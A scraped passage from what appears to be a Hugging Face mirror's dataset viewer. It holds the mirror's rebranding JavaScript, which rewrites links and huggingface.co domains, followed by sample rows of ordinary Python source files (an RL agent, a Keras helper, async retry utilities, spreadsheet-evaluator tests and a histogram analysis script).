{
// 获取包含Hugging Face文本的span元素
const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap');
spans.forEach(span => {
if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) {
span.textContent = 'AI快站';
}
});
});
// 替换logo图片的alt属性
document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => {
if (img.alt.match(/Hugging\s*Face/i)) {
img.alt = 'AI快站 logo';
}
});
}
// 替换导航栏中的链接
function replaceNavigationLinks() {
// 已替换标记，防止重复运行
if (window._navLinksReplaced) {
return;
}
// 已经替换过的链接集合，防止重复替换
const replacedLinks = new Set();
// 只在导航栏区域查找和替换链接
const headerArea = document.querySelector('header') || document.querySelector('nav');
if (!headerArea) {
return;
}
// 在导航区域内查找链接
const navLinks = headerArea.querySelectorAll('a');
navLinks.forEach(link => {
// 如果已经替换过，跳过
if (replacedLinks.has(link)) return;
const linkText = link.textContent.trim();
const linkHref = link.getAttribute('href') || '';
// 替换Spaces链接 - 仅替换一次
if (
(linkHref.includes('/spaces') || linkHref === '/spaces' ||
linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) &&
linkText !== 'OCR模型免费转Markdown' &&
linkText !== 'OCR模型免费转Markdown'
) {
link.textContent = 'OCR模型免费转Markdown';
link.href = 'https://fast360.xyz';
link.setAttribute('target', '_blank');
link.setAttribute('rel', 'noopener noreferrer');
replacedLinks.add(link);
}
// 删除Posts链接
else if (
(linkHref.includes('/posts') || linkHref === '/posts' ||
linkText === 'Posts' || linkText.match(/^s*Postss*$/i))
) {
if (link.parentNode) {
link.parentNode.removeChild(link);
}
replacedLinks.add(link);
}
// 替换Docs链接 - 仅替换一次
else if (
(linkHref.includes('/docs') || linkHref === '/docs' ||
linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) &&
linkText !== '模型下载攻略'
) {
link.textContent = '模型下载攻略';
link.href = '/';
replacedLinks.add(link);
}
// 删除Enterprise链接
else if (
(linkHref.includes('/enterprise') || linkHref === '/enterprise' ||
linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i))
) {
if (link.parentNode) {
link.parentNode.removeChild(link);
}
replacedLinks.add(link);
}
});
// 查找可能嵌套的Spaces和Posts文本
const textNodes = [];
function findTextNodes(element) {
if (element.nodeType === Node.TEXT_NODE) {
const text = element.textContent.trim();
if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') {
textNodes.push(element);
}
} else {
for (const child of element.childNodes) {
findTextNodes(child);
}
}
}
// 只在导航区域内查找文本节点
findTextNodes(headerArea);
// 替换找到的文本节点
textNodes.forEach(node => {
const text = node.textContent.trim();
if (text === 'Spaces') {
node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown');
} else if (text === 'Posts') {
// 删除Posts文本节点
if (node.parentNode) {
node.parentNode.removeChild(node);
}
} else if (text === 'Enterprise') {
// 删除Enterprise文本节点
if (node.parentNode) {
node.parentNode.removeChild(node);
}
}
});
// 标记已替换完成
window._navLinksReplaced = true;
}
// 替换代码区域中的域名
function replaceCodeDomains() {
// 特别处理span.hljs-string和span.njs-string元素
document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => {
if (span.textContent && span.textContent.includes('huggingface.co')) {
span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com');
}
});
// 替换hljs-string类的span中的域名（移除多余的转义符号）
document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => {
if (span.textContent && span.textContent.includes('huggingface.co')) {
span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com');
}
});
// 替换pre和code标签中包含git clone命令的域名
document.querySelectorAll('pre, code').forEach(element => {
if (element.textContent && element.textContent.includes('git clone')) {
const text = element.innerHTML;
if (text.includes('huggingface.co')) {
element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com');
}
}
});
// 处理特定的命令行示例
document.querySelectorAll('pre, code').forEach(element => {
const text = element.innerHTML;
if (text.includes('huggingface.co')) {
// 针对git clone命令的专门处理
if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) {
element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com');
}
}
});
// 特别处理模型下载页面上的代码片段
document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => {
const content = container.innerHTML;
if (content && content.includes('huggingface.co')) {
container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com');
}
});
// 特别处理模型仓库克隆对话框中的代码片段
try {
// 查找包含"Clone this model repository"标题的对话框
const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]');
if (cloneDialog) {
// 查找对话框中所有的代码片段和命令示例
const codeElements = cloneDialog.querySelectorAll('pre, code, span');
codeElements.forEach(element => {
if (element.textContent && element.textContent.includes('huggingface.co')) {
if (element.innerHTML.includes('huggingface.co')) {
element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com');
} else {
element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com');
}
}
});
}
// 更精确地定位克隆命令中的域名
document.querySelectorAll('[data-target]').forEach(container => {
const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string');
codeBlocks.forEach(block => {
if (block.textContent && block.textContent.includes('huggingface.co')) {
if (block.innerHTML.includes('huggingface.co')) {
block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com');
} else {
block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com');
}
}
});
});
} catch (e) {
// 错误处理但不打印日志
}
}
// 当DOM加载完成后执行替换
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', () => {
replaceHeaderBranding();
replaceNavigationLinks();
replaceCodeDomains();
// 只在必要时执行替换 - 3秒后再次检查
setTimeout(() => {
if (!window._navLinksReplaced) {
console.log('[Client] 3秒后重新检查导航链接');
replaceNavigationLinks();
}
}, 3000);
});
} else {
replaceHeaderBranding();
replaceNavigationLinks();
replaceCodeDomains();
// 只在必要时执行替换 - 3秒后再次检查
setTimeout(() => {
if (!window._navLinksReplaced) {
console.log('[Client] 3秒后重新检查导航链接');
replaceNavigationLinks();
}
}, 3000);
}
// 增加一个MutationObserver来处理可能的动态元素加载
const observer = new MutationObserver(mutations => {
// 检查是否导航区域有变化
const hasNavChanges = mutations.some(mutation => {
// 检查是否存在header或nav元素变化
return Array.from(mutation.addedNodes).some(node => {
if (node.nodeType === Node.ELEMENT_NODE) {
// 检查是否是导航元素或其子元素
if (node.tagName === 'HEADER' || node.tagName === 'NAV' ||
node.querySelector('header, nav')) {
return true;
}
// 检查是否在导航元素内部
let parent = node.parentElement;
while (parent) {
if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') {
return true;
}
parent = parent.parentElement;
}
}
return false;
});
});
// 只在导航区域有变化时执行替换
if (hasNavChanges) {
// 重置替换状态，允许再次替换
window._navLinksReplaced = false;
replaceHeaderBranding();
replaceNavigationLinks();
}
});
// 开始观察document.body的变化，包括子节点
if (document.body) {
observer.observe(document.body, { childList: true, subtree: true });
} else {
document.addEventListener('DOMContentLoaded', () => {
observer.observe(document.body, { childList: true, subtree: true });
});
}
})();
max_stars_repo_path
stringlengths 4
182
| max_stars_repo_name
stringlengths 6
116
| max_stars_count
int64 0
191k
| id
stringlengths 7
7
| content
stringlengths 100
10k
| size
int64 100
10k
|
|---|---|---|---|---|---|
codes/MonteCarlo/agent.py
|
johnjim0816/rl-tutorials
| 33 |
2023934
|
#!/usr/bin/env python
# coding=utf-8
'''
Author: John
Email: <EMAIL>
Date: 2021-03-12 16:14:34
LastEditor: John
LastEditTime: 2021-05-05 16:58:39
Discription:
Environment:
'''
import numpy as np
from collections import defaultdict
import torch
import dill
class FisrtVisitMC:
''' On-Policy First-Visit MC Control
'''
def __init__(self,n_actions,cfg):
self.n_actions = n_actions
self.epsilon = cfg.epsilon
self.gamma = cfg.gamma
self.Q_table = defaultdict(lambda: np.zeros(n_actions))
self.returns_sum = defaultdict(float) # sum of returns
self.returns_count = defaultdict(float)
def choose_action(self,state):
''' e-greed policy '''
if state in self.Q_table.keys():
best_action = np.argmax(self.Q_table[state])
action_probs = np.ones(self.n_actions, dtype=float) * self.epsilon / self.n_actions
action_probs[best_action] += (1.0 - self.epsilon)
action = np.random.choice(np.arange(len(action_probs)), p=action_probs)
else:
action = np.random.randint(0,self.n_actions)
return action
def update(self,one_ep_transition):
# Find all (state, action) pairs we've visited in this one_ep_transition
# We convert each state to a tuple so that we can use it as a dict key
sa_in_episode = set([(tuple(x[0]), x[1]) for x in one_ep_transition])
for state, action in sa_in_episode:
sa_pair = (state, action)
# Find the first occurence of the (state, action) pair in the one_ep_transition
first_occurence_idx = next(i for i,x in enumerate(one_ep_transition)
if x[0] == state and x[1] == action)
# Sum up all rewards since the first occurance
G = sum([x[2]*(self.gamma**i) for i,x in enumerate(one_ep_transition[first_occurence_idx:])])
# Calculate average return for this state over all sampled episodes
self.returns_sum[sa_pair] += G
self.returns_count[sa_pair] += 1.0
self.Q_table[state][action] = self.returns_sum[sa_pair] / self.returns_count[sa_pair]
def save(self,path):
'''把 Q表格 的数据保存到文件中
'''
torch.save(
obj=self.Q_table,
f=path+"Q_table",
pickle_module=dill
)
def load(self, path):
'''从文件中读取数据到 Q表格
'''
self.Q_table =torch.load(f=path+"Q_table",pickle_module=dill)
| 2,511 |
Head Pose Estimation/keras_NN.py
|
nixingyang/Kaggle-Face-Verification
| 0 |
2024241
|
from keras.callbacks import ModelCheckpoint
from keras.layers.advanced_activations import PReLU
from keras.layers.core import Activation, Dense, Dropout
from keras.layers.normalization import BatchNormalization
from keras.models import Sequential
from keras.utils import np_utils
from sklearn.preprocessing import LabelEncoder, StandardScaler
import numpy as np
def preprocess_data(X, scaler=None):
if not scaler:
scaler = StandardScaler()
scaler.fit(X)
X = scaler.transform(X)
return X, scaler
def preprocess_labels(labels, encoder=None, categorical=True):
if not encoder:
encoder = LabelEncoder()
encoder.fit(labels)
y = encoder.transform(labels).astype(np.int32)
if categorical:
y = np_utils.to_categorical(y)
return y, encoder
def generate_prediction(X_train, Y_train, X_test, is_classification, \
layer_size=512, layer_num=3, dropout_ratio=0.5, \
batch_size=128, nb_epoch=100, validation_split=0.2):
print("Initiate a model ...")
model = Sequential()
model.add(Dense(layer_size, input_shape=(X_train.shape[1],)))
model.add(PReLU())
model.add(BatchNormalization())
model.add(Dropout(dropout_ratio))
for _ in range(layer_num - 1):
model.add(Dense(layer_size))
model.add(PReLU())
model.add(BatchNormalization())
model.add(Dropout(dropout_ratio))
if is_classification:
unique_labels = np.unique(Y_train)
model.add(Dense(unique_labels.size))
model.add(Activation("softmax"))
model.compile(loss="categorical_crossentropy", optimizer="adam")
else:
model.add(Dense(1))
model.compile(loss="mean_absolute_error", optimizer="rmsprop")
print("Perform normalization ...")
X_train, scaler = preprocess_data(X_train)
X_test, _ = preprocess_data(X_test, scaler)
print("Perform training phase ...")
optimal_model_file_path = "/tmp/optimal_model.hdf5"
checkpointer = ModelCheckpoint(filepath=optimal_model_file_path,
save_best_only=True)
if is_classification:
categorical_Y_train, encoder = preprocess_labels(Y_train)
model.fit(X_train, categorical_Y_train, batch_size=batch_size, nb_epoch=nb_epoch, \
callbacks=[checkpointer], validation_split=validation_split)
else:
model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch, \
callbacks=[checkpointer], validation_split=validation_split)
print("Load optimal coefficients ...")
model.load_weights(optimal_model_file_path)
print("Generate prediction ...")
if is_classification:
classes = model.predict_classes(X_test, batch_size=batch_size)
prediction = encoder.inverse_transform(classes)
else:
prediction = model.predict(X_test, batch_size=batch_size)
return prediction
| 2,939 |
hardfork/coinclients/exceptions.py
|
topor-dev/hardfork-tracker
| 0 |
2024139
|
class BaseCoinClientException(Exception):
pass
class CoinClientUnexpectedException(BaseCoinClientException):
pass
__all__ = ['BaseCoinClientException', 'CoinClientUnexpectedException']
| 197 |
neuro_flow/utils.py
|
neuromation/neuro-flow
| 3 |
2023245
|
import aiohttp
import asyncio
import datetime
import humanize
import logging
import time
from functools import wraps
from neuro_sdk import ClientError, JobStatus, ServerNotAvailable
from typing import (
Any,
Awaitable,
Callable,
Coroutine,
Iterable,
Iterator,
List,
Optional,
Sequence,
Type,
TypeVar,
Union,
cast,
)
from typing_extensions import Concatenate, ParamSpec, Protocol
from .types import COLORS, FullID, GitInfo, TaskStatus
def fmt_status(status: Union[JobStatus, TaskStatus]) -> str:
if isinstance(status, JobStatus):
status = TaskStatus(status)
else:
assert isinstance(status, TaskStatus)
color = COLORS.get(status, "none")
return f"[{color}]{status.value}[/{color}]"
def fmt_id(id: Union[str, FullID]) -> str:
if isinstance(id, str):
s_id = id
else:
s_id = ".".join(id)
return f"[b]{s_id}[/b]"
def fmt_raw_id(raw_id: str) -> str:
return f"[bright_black]{raw_id}[/bright_black]"
def fmt_datetime(when: Optional[datetime.datetime]) -> str:
if when is None:
return "N/A"
delta = datetime.datetime.now(datetime.timezone.utc) - when
if delta < datetime.timedelta(days=1):
return cast(str, humanize.naturaltime(delta))
else:
return cast(str, humanize.naturaldate(when.astimezone()))
def fmt_timedelta(delta: datetime.timedelta) -> str:
s = int(delta.total_seconds())
if s < 0:
raise ValueError(f"Invalid delta {delta}: expect non-negative total value")
_sec_in_minute = 60
_sec_in_hour = _sec_in_minute * 60
_sec_in_day = _sec_in_hour * 24
d, s = divmod(s, _sec_in_day)
h, s = divmod(s, _sec_in_hour)
m, s = divmod(s, _sec_in_minute)
return "".join(
[
f"{d}d" if d else "",
f"{h}h" if h else "",
f"{m}m" if m else "",
f"{s}s" if s else "",
]
)
RUNNING_JOB_STATUSES = {JobStatus.PENDING, JobStatus.RUNNING}
RUNNING_TASK_STATUSES = {TaskStatus.PENDING, TaskStatus.RUNNING}
TERMINATED_JOB_STATUSES = {
JobStatus.FAILED,
JobStatus.SUCCEEDED,
JobStatus.CANCELLED,
}
TERMINATED_TASK_STATUSES = {
TaskStatus.FAILED,
TaskStatus.SUCCEEDED,
TaskStatus.CANCELLED,
}
JOB_TAG_PATTERN = r"\A[a-z](?:[-.:/]?[a-z0-9]){0,255}\Z"
async def run_subproc(exe: str, *args: str) -> None:
proc = await asyncio.create_subprocess_exec(exe, *args)
try:
retcode = await proc.wait()
if retcode:
raise SystemExit(retcode)
finally:
if proc.returncode is None:
# Kill neuro process if not finished
# (e.g. if KeyboardInterrupt or cancellation was received)
proc.kill()
await proc.wait()
class GlobalOptions(Protocol):
@property
def verbosity(self) -> int:
...
@property
def show_traceback(self) -> bool:
...
def encode_global_options(options: GlobalOptions) -> List[str]:
global_options = []
verbosity_abs = abs(options.verbosity)
if options.verbosity < 0:
global_options += ["-q"] * verbosity_abs
if options.verbosity > 0:
global_options += ["-v"] * verbosity_abs
if options.show_traceback:
global_options += ["--show-traceback"]
return global_options
class CommandRunner(Protocol):
async def __call__(self, *args: str) -> None:
...
def make_cmd_exec(exe: str, *, global_options: Iterable[str] = ()) -> CommandRunner:
async def _runner(*args: str) -> None:
await run_subproc(exe, *global_options, *args)
return _runner
log = logging.getLogger(__name__)
# Copied from neuro_sdk.utils to avoid dependency on private class
class retries:
def __init__(
self,
msg: str,
timeout: float = 60,
delay: float = 0.1,
factor: float = 1.5,
cap: float = 5,
exceptions: Sequence[Type[Exception]] = (),
logger: Callable[[str], None] = log.info,
) -> None:
self._msg = msg
self._timeout = timeout
self._delay = delay
self._factor = factor
self._cap = cap
self._exceptions = (aiohttp.ClientError,) + tuple(exceptions)
self._logger = logger
self._done = False
self.reset()
def reset(self) -> None:
self._t0 = time.monotonic()
self._sleeptime = self._delay
def __iter__(self) -> Iterator["retries"]:
while not self._done:
yield self
async def __aenter__(self) -> None:
pass
async def __aexit__(
self, type: Type[BaseException], value: BaseException, tb: Any
) -> bool:
if type is None:
# Stop iteration
pass
elif issubclass(type, self._exceptions):
t1 = time.monotonic()
if t1 - self._t0 <= self._timeout:
self._logger(f"{self._msg}: {value}. Retry...")
await asyncio.sleep(self._sleeptime)
self._sleeptime = min(self._sleeptime * self._factor, self._cap)
return True
self._done = True
return False
F = TypeVar("F", bound=Callable[..., Any])
def async_retried(
msg: str,
*,
timeout: float = 60,
delay: float = 0.1,
factor: float = 1.5,
cap: float = 5,
exceptions: Sequence[Type[Exception]] = (),
) -> Callable[[F], F]:
def _deco(func: F) -> F:
@wraps(func)
async def wrapper(*args: Any, **kwargs: Any) -> Any:
for retry in retries(
msg,
timeout=timeout,
delay=delay,
factor=factor,
cap=cap,
exceptions=exceptions,
):
async with retry:
return await func(*args, **kwargs)
return cast(F, wrapper)
return _deco
class RetryConfig:
def __init__(self) -> None:
self._retry_timeout = 15 * 60
self._delay = 15
self._delay_factor = 1.5
self._delay_cap = 60
_P = ParamSpec("_P")
_R = TypeVar("_R")
_SELF = TypeVar("_SELF", bound=RetryConfig)
def retry(
func: Callable[Concatenate[_SELF, _P], Awaitable[_R]]
) -> Callable[Concatenate[_SELF, _P], Coroutine[Any, Any, _R]]:
async def inner(self: _SELF, *args: _P.args, **kwargs: _P.kwargs) -> _R:
for retry in retries(
f"{func!r}(*{args!r}, **{kwargs!r})",
timeout=self._retry_timeout,
delay=self._delay,
factor=self._delay_factor,
cap=self._delay_cap,
exceptions=(ClientError, ServerNotAvailable, OSError),
):
async with retry:
return await func(self, *args, **kwargs)
assert False, "Unreachable"
return inner # type: ignore
async def collect_git_info() -> Optional[GitInfo]:
async def _run_git(*args: str) -> str:
proc = await asyncio.create_subprocess_exec(
"git",
*args,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
retcode = await proc.wait()
assert proc.stdout
assert proc.stderr
stdout = (await proc.stdout.read()).decode()
stderr = (await proc.stderr.read()).decode()
if retcode:
raise ValueError(f"git command failed: {stderr}")
return stdout.strip()
try:
sha = await _run_git("rev-parse", "HEAD")
branch = await _run_git("rev-parse", "--abbrev-ref", "HEAD")
tags_raw = await _run_git("tag", "--points-at", "HEAD")
except ValueError:
return None
else:
return GitInfo(
sha=sha,
branch=branch,
tags=tags_raw.split("\n"),
)
| 7,774 |
tests/test_evaluator.py
|
ckp95/xlcalculator
| 54 |
2024350
|
import unittest
from xlcalculator import evaluator, model
from . import testing
class TestEvaluator(unittest.TestCase):
def setUp(self):
self.model = model.Model()
self.model.construct_from_json_file(
testing.get_resource("model.json"), build_code=True)
self.evaluator = evaluator.Evaluator(self.model)
def test_evaluate(self):
evaluated_result_00 = self.evaluator.evaluate('First!A2')
result_00 = 0.1
self.assertEqual(result_00, evaluated_result_00)
evaluated_result_01 = self.evaluator.evaluate('Seventh!C1')
result_01 = 3
self.assertEqual(result_01, evaluated_result_01)
evaluated_result_02 = self.evaluator.evaluate('Ninth!B1')
result_02 = 101
self.assertEqual(result_02, evaluated_result_02)
evaluated_result_03 = self.evaluator.evaluate('Hundred')
result_03 = 100
self.assertEqual(result_03, evaluated_result_03)
evaluated_result_04 = self.evaluator.evaluate('Tenth!C1')
result_04 = 102
self.assertEqual(result_04, evaluated_result_04)
evaluated_result_06 = self.evaluator.evaluate('Tenth!C2')
result_06 = 102
self.assertEqual(result_06, evaluated_result_06)
evaluated_result_07 = self.evaluator.evaluate('Tenth!C3')
result_07 = 102
self.assertEqual(result_07, evaluated_result_07)
def test_set_value(self):
self.evaluator.set_cell_value('First!A2', 88)
evaluated_result_00 = self.evaluator.model.cells['First!A2'].value
result_00 = 88
self.assertEqual(result_00, evaluated_result_00)
# Put it back the way we found it.
self.evaluator.set_cell_value('First!A2', 0.1)
def test_set_value_evaluate(self):
self.evaluator.set_cell_value('First!A2', 88)
evaluated_result_00 = self.evaluator.evaluate('First!A2')
result_00 = 88
self.assertEqual(result_00, evaluated_result_00)
# Put it back the way we found it.
self.evaluator.set_cell_value('First!A2', 0.1)
def test_divide_eval(self):
div_compiler = model.ModelCompiler()
div_model = div_compiler.read_and_parse_archive(
testing.get_resource("division.xlsx"))
div_evaluator = evaluator.Evaluator(div_model)
excel_value_00 = div_evaluator.get_cell_value('Sheet1!A1')
value_00 = div_evaluator.evaluate('Sheet1!A1')
self.assertEqual(excel_value_00, value_00)
excel_value_01 = div_evaluator.get_cell_value('Sheet1!B1')
value_01 = div_evaluator.evaluate('Sheet1!B1')
self.assertEqual(excel_value_01, value_01)
def test_subtract_eval(self):
sub_compiler = model.ModelCompiler()
sub_model = sub_compiler.read_and_parse_archive(
testing.get_resource("subtraction.xlsx"))
sub_evaluator = evaluator.Evaluator(sub_model)
excel_value_00 = sub_evaluator.get_cell_value('Sheet1!A1')
value_00 = sub_evaluator.evaluate('Sheet1!A1')
self.assertEqual(excel_value_00, value_00)
excel_value_01 = sub_evaluator.get_cell_value('Sheet1!B1')
value_01 = sub_evaluator.evaluate('Sheet1!B1')
self.assertEqual(excel_value_01, value_01)
excel_value_02 = sub_evaluator.get_cell_value('Sheet1!C1')
value_02 = sub_evaluator.evaluate('Sheet1!C1')
self.assertEqual(excel_value_02, value_02)
def test_addition_eval(self):
add_compiler = model.ModelCompiler()
add_model = add_compiler.read_and_parse_archive(
testing.get_resource("addition.xlsx"))
add_evaluator = evaluator.Evaluator(add_model)
excel_value_00 = add_evaluator.get_cell_value('Sheet1!A1')
value_00 = add_evaluator.evaluate('Sheet1!A1')
self.assertEqual(excel_value_00, value_00)
excel_value_01 = add_evaluator.get_cell_value('Sheet1!B1')
value_01 = add_evaluator.evaluate('Sheet1!B1')
self.assertEqual(excel_value_01, value_01)
excel_value_02 = add_evaluator.get_cell_value('Sheet1!C1')
value_02 = add_evaluator.evaluate('Sheet1!C1')
self.assertEqual(excel_value_02, value_02)
def test_multiplication_eval(self):
add_compiler = model.ModelCompiler()
add_model = add_compiler.read_and_parse_archive(
testing.get_resource("multiplication.xlsx"))
add_evaluator = evaluator.Evaluator(add_model)
excel_value_00 = add_evaluator.get_cell_value('Sheet1!A1')
value_00 = add_evaluator.evaluate('Sheet1!A1')
self.assertEqual(excel_value_00, value_00)
excel_value_01 = add_evaluator.get_cell_value('Sheet1!B1')
value_01 = add_evaluator.evaluate('Sheet1!B1')
self.assertEqual(excel_value_01, value_01)
excel_value_02 = add_evaluator.get_cell_value('Sheet1!C1')
value_02 = add_evaluator.evaluate('Sheet1!C1')
self.assertEqual(excel_value_02, value_02)
excel_value_03 = add_evaluator.get_cell_value('Sheet1!D1')
value_03 = add_evaluator.evaluate('Sheet1!D1')
self.assertEqual(excel_value_03, value_03)
| 5,160 |
histogramms_data.py
|
MECLabTUDA/QA_Seg
| 0 |
2023016
|
import os
from mp.paths import JIP_dir
import numpy as np
from skimage.measure import label,regionprops
import matplotlib.pyplot as plt
import math
from sklearn.mixture import GaussianMixture
#set environmental variables
#for data_dirs folder, nothing changed compared to Simons version
os.environ["WORKFLOW_DIR"] = os.path.join(JIP_dir, 'data_dirs')
os.environ["OPERATOR_IN_DIR"] = "input"
os.environ["OPERATOR_OUT_DIR"] = "output"
os.environ["OPERATOR_TEMP_DIR"] = "temp"
os.environ["OPERATOR_PERSISTENT_DIR"] = os.path.join(JIP_dir, 'data_dirs', 'persistent')
# preprocessing dir and subfolders
os.environ["PREPROCESSED_WORKFLOW_DIR"] = os.path.join(JIP_dir, 'preprocessed_dirs')
os.environ["PREPROCESSED_OPERATOR_OUT_SCALED_DIR"] = "output_scaled"
os.environ["PREPROCESSED_OPERATOR_OUT_SCALED_DIR_TRAIN"] = "output_scaled_train"
#dir where train data for intensites is stored (this only needs to be trains_dirs, but since i have more
# datasets, another subfolder is here)
os.environ["TRAIN_WORKFLOW_DIR"] = os.path.join(JIP_dir, 'train_dirs')
#ignore
##below is for christian only, used for older data structures where models are trained on
os.environ["TRAIN_WORKFLOW_DIR_GT"] = os.path.join('Covid-RACOON','All images and labels')
os.environ["TRAIN_WORKFLOW_DIR_PRED"] = os.path.join('Covid-RACOON','All predictions')
#os.environ["TRAIN_WORKFLOW_DIR_GT"] = os.path.join('gt_small')
#os.environ["TRAIN_WORKFLOW_DIR_PRED"] = os.path.join('pred_small')
#which mode is active either 'train' or 'inference'
os.environ["INFERENCE_OR_TRAIN"] = 'train'
#ignore
# the ending of the image files in train_dir is only for older datasets
os.environ["INPUT_FILE_ENDING"] = 'nii.gz'
from mp.utils.preprocess_utility_functions import basic_preprocessing
from mp.utils.preprocess_utility_functions import extract_features_all_data,compute_all_prediction_dice_scores
from train_restore_use_models.train_int_based_quantifier import train_dice_predictor
from mp.utils.intensities import sample_intensities
from mp.models.densities.density import Density_model
from mp.utils.feature_extractor import Feature_extractor
## work on variable 3, connected components
def poisson(lam,b):
return ((lam**b) * np.exp(-lam)) /np.math.factorial(b)
def gaussian(mu,std,b):
return ((1 / (np.sqrt(2 * np.pi) * std)) *
np.exp(-0.5 * (1 / std * (b - mu))**2))
def load_seg_features():
features = []
dens = Density_model()
feat_extr = Feature_extractor(dens)
work_path = os.path.join(os.environ["PREPROCESSED_WORKFLOW_DIR"],os.environ["PREPROCESSED_OPERATOR_OUT_SCALED_DIR_TRAIN"])
for id in os.listdir(work_path):
id_path = os.path.join(work_path,id)
seg_path_short = os.path.join(id_path,'seg')
seg_features_path = os.path.join(seg_path_short,'features.json')
feat_vec = feat_extr.read_feature_vector(seg_features_path)
if not np.isnan(np.sum(np.array(feat_vec))):
features.append(feat_vec)
return np.array(features)
def plot_conn_comp(data,save=True,fit=True):
save_path = os.path.join('storage','Results','histogramms','connected components poisson')
mu = np.mean(data)
std = np.std(data)
_ , bins, _ = plt.hist(data,75,(0,np.max(data)),density=True)
if fit:
y = [poisson(mu,b) for b in bins]
plt.plot(bins,y,'--')
plt.title('Segmentations connected components gaussian')
if save:
plt.savefig(save_path)
plt.show()
def conn_comp_n_percent(data,percent):
hist, bin_edges = np.histogram(data,bins=np.arange(0,np.max(data),step=1),density=True)
cum_hist = np.cumsum(hist)
for i in range(len(cum_hist)):
if cum_hist[i]>percent:
return math.ceil(bin_edges[i])
## work for avg slice dice
def plot_slice_dice_hist(data,save=False):
_ , _, _ = plt.hist(data,50,(np.min(data),1),density=True)
plt.show()
def slice_dice_n_percent(data,percent):
bins = np.arange(np.min(data),1,step=0.001)
hist, bin_edges = np.histogram(data,bins=bins)
total_points = np.sum(hist)
dens = np.array(hist)/total_points
dens_flipped = np.flip(dens)
dens_flipped_cumsum = np.cumsum(dens_flipped)
for i in range(len(dens_flipped_cumsum)):
if dens_flipped_cumsum[i]>percent:
return bin_edges[total_points-1-i]
## work for int mode
def plot_int_mode_hist(data,threshholds=[],save=False):
#get histogram
_ , bins, _ = plt.hist(data,100,(0,1),density=True)
#get gaussian fit
gm = GaussianMixture(n_components=2).fit(np.reshape(data,(-1,1)))
means = [gm.means_[0][0],gm.means_[1][0]]
vars = [gm.covariances_[0][0][0],gm.covariances_[1][0][0]]
weights = [gm.weights_[0],gm.weights_[1]]
y0 = weights[0]*np.array([gaussian(means[0],vars[0]**(1/2),b) for b in bins])
y1 = weights[1]*np.array([gaussian(means[1],vars[1]**(1/2),b) for b in bins])
y = y0 + y1
plt.plot(bins,y)
plt.vlines(threshholds,0,5,colors="r")
plt.show()
def int_mode_n_percent(data,percent):
data = np.reshape(data,(-1,1))
#first fit a mixture with 2 components to find 2 modes
gm = GaussianMixture(n_components=2).fit(data)
if gm.means_[0][0] < gm.means_[1][0]:
means = [gm.means_[0][0],gm.means_[1][0]]
vars = [gm.covariances_[0][0][0],gm.covariances_[1][0][0]]
weights = [gm.weights_[0],gm.weights_[1]]
# try to balance the steplengths, according to weights and cov
step_0 = vars[0]*weights[0]
step_1 = vars[1]*weights[1]
else:
means = [gm.means_[1][0],gm.means_[0][0]]
vars = [gm.covariances_[1][0][0],gm.covariances_[0][0][0]]
weights = [gm.weights_[1],gm.weights_[0]]
# try to balance the steplengths, according to weights and std
step_0 = (vars[0]**(1/2))*(1/20)*weights[0]
step_1 = (vars[1]**(1/2))*(1/20)*weights[1]
#find the threshholds
hist_0, bins_0 = np.histogram(data,np.arange(0,1,step_0))
hist_1, bins_1 = np.histogram(data,np.arange(0,1,step_1))
number_points = np.sum(hist_0)
hist_0 = np.array(hist_0)/number_points
hist_1 = np.array(hist_1)/number_points
hist = [hist_0,hist_1]
bins = [bins_0,bins_1]
mode_0_bin = np.argmax(bins[0]>means[0])
mode_1_bin = np.argmax(bins[1]>means[1])
mode_bins = [mode_0_bin,mode_1_bin]
# if the intervalls are overlapping, inner intervalls are not increased in this case
overlapping = False
complete_0 = False
complete_1 = False
i = 0
mass = 0
while mass<percent:
# check whether intervalls are overlapping
if bins[1][mode_bins[1]-i] < bins[0][mode_bins[0]+i+1] and not overlapping:
#add the bigger bin to the mass
overlapping = True
if weights[0]>weights[1]:
mass = mass + hist[0][mode_bins[0]+i]
else:
mass = mass + hist[1][mode_bins[1]-i]
if mode_bins[0]-i < 0 or mode_bins[0]+i > len(hist[0]):
complete_0 = True
if mode_bins[1]-i < 0 or mode_bins[1]+i > len(hist[1]):
complete_1 = True
#if both ditributions have reached their end break the loop
if complete_1 or complete_0 :
break
#add masses
if i == 0:
mass = hist[0][mode_bins[0]]+hist[1][mode_bins[1]]
if overlapping:
mass = mass + hist[0][mode_bins[0]-i]+hist[1][mode_bins[1]+1]
else:
mass0 = hist[0][mode_bins[0]-i]+hist[0][mode_bins[0]+i]
mass1 = hist[1][mode_bins[1]+i]+hist[1][mode_bins[1]-i]
mass = mass + mass0 + mass1
i = i + 1
if overlapping:
return [bins[0][mode_bins[0]-i+1],bins[1][mode_bins[1]+i]]
else:
return [bins[0][mode_bins[0]-i+1],bins[0][mode_bins[0]+i],bins[1][mode_bins[1]-i+1],bins[1][mode_bins[1]+i]]
def main(conn_comp=True,slice_dice=True,int_mode=True):
